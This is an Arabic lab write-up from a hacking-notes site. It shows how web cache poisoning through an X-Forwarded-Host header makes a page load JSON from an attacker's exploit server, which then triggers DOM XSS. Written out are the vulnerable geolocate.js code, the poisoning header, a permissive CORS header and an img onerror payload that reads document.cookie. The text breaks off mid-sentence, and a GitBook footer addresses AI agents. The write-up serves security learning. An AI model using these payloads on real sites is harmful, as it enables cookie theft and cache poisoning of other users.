> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/cache-poisoning/cache-poisoning-to-exploit-an-xss-dom-with-strict-cache.md).

# تسميم ذاكرة التخزين المؤقت لاستغلال XSS في DOM مع ذاكرة تخزين مؤقت صارمة

### تسميم ذاكرة التخزين المؤقت للويب لاستغلال ثغرة DOM عبر ذاكرة تخزين مؤقت ذات معايير قابلية تخزين صارمة

#### هدف المختبر

يجب علينا **تسميم ذاكرة التخزين المؤقت** حتى يتمكّن زائر الصفحة الرئيسية من تنفيذ **`alert(document.cookie)`** عبر **ثغرة DOM**.

#### الملاحظات

* تعرض الصفحة معلومات التوصيل حسب البلد (مثلًا: المملكة المتحدة).
* نحدّد **`geolocate.js`** برنامجًا نصيًا يبني DOM من JSON.

<figure><img src="/files/c7ce9c3462d32ac8f23433c08740db97030f027a" alt=""><figcaption></figcaption></figure>

#### تحليل منطق جهة العميل

في **`geolocate.js`** نرى دالة من النوع:

* تُجري `fetch(jsonUrl)`
* ثم تسترجع `j.country`
* وتفعل: **`div.innerHTML = 'شحن مجاني إلى ' + j.country;`**

```javascript
function initGeoLocate(jsonUrl)
{
    fetch(jsonUrl)
        .then(r => r.json())
        .then(j => {
            let geoLocateContent = document.getElementById('shipping-info');

            let img = document.createElement("img");
            img.setAttribute("src", "/resources/images/localShipping.svg");
            geoLocateContent.appendChild(img)

            let div = document.createElement("div");
            div.innerHTML = 'شحن مجاني إلى ' + j.country;
            geoLocateContent.appendChild(div)
        });
}
```

JSON المحمّل افتراضيًا هو:

**`/resources/json/geolocate.json`**

```json
{
    "country": "United Kingdom"
}
```

<figure><img src="/files/c17c3fb02bc5e8ce9204d248887ad7885dc536e0" alt=""><figcaption></figcaption></figure>

في الصفحة الرئيسية، يتم بناء رابط JSON كما يلي:

```javascript
<script>
   initGeoLocate('//' + data.host + '/resources/json/geolocate.json');
</script>
```

<figure><img src="/files/46dce4b9150b74bff60c96a027134d44c75426a4" alt=""><figcaption></figcaption></figure>

#### نقطة حقن مفيدة (تسميم الذاكرة المؤقتة)

نلاحظ أنه إذا أضفنا ترويسة مثل:

* `X-Forwarded-Host: test.com`<br>

ثم **تُعكَس القيمة** في `data.host`، ثم يؤثر ذلك على الرابط الممرَّر إلى `initGeoLocate()`.

#### استضافة JSON الخاص بنا على خادم الاستغلال

على **خادم الاستغلال**، ننشئ ملف JSON (مثال بسيط):

```json
{
  "country": "Andorra"
}
```

<figure><img src="/files/f9a46b75d23c724de16c5a47710d6f0e24866862" alt=""><figcaption></figcaption></figure>

ثم نرسل طلبًا إلى الجذر مع:

* `X-Forwarded-Host: <خادم الاستغلال الخاص بنا>`

```http
X-Forwarded-Host: exploit-0a6300210305fded80adf70e01a80006.exploit-server.net
```

في البداية، هذا **لا يتم التحميل** بسبب مشكلة **CORS** (لا `Access-Control-Allow-Origin`).

<figure><img src="/files/ca721e3e9d051d8ca885a19d96c7b1db31fb591c" alt=""><figcaption></figcaption></figure>

لذلك نضيف في الرد على خادم الاستغلال:

* `Access-Control-Allow-Origin: *`

```http
Access-Control-Allow-Origin: *
```

بعد ذلك، يتم تحميل JSON البعيد بشكل صحيح.

<figure><img src="/files/273f93e398b322f3c2cdb85d03e7d6cf0f110bb1" alt=""><figcaption></figcaption></figure>

#### حقن XSS عبر JSON (DOM XSS)

ثم نستبدل محتوى JSON بحمولة، على سبيل المثال:

```json
{
  "country": "<img src=0 onerror=alert(document.cookie)"
}
```

أثناء `j.country` يتم حقنه في `innerHTML`، يفسّر المتصفح HTML الخاص بنا، و\*\*l

<figure><img src="/files/330961695fd5068e86c8ecf03b0c8df3549219f3" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/cache-poisoning/cache-poisoning-to-exploit-an-xss-dom-with-strict-cache.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
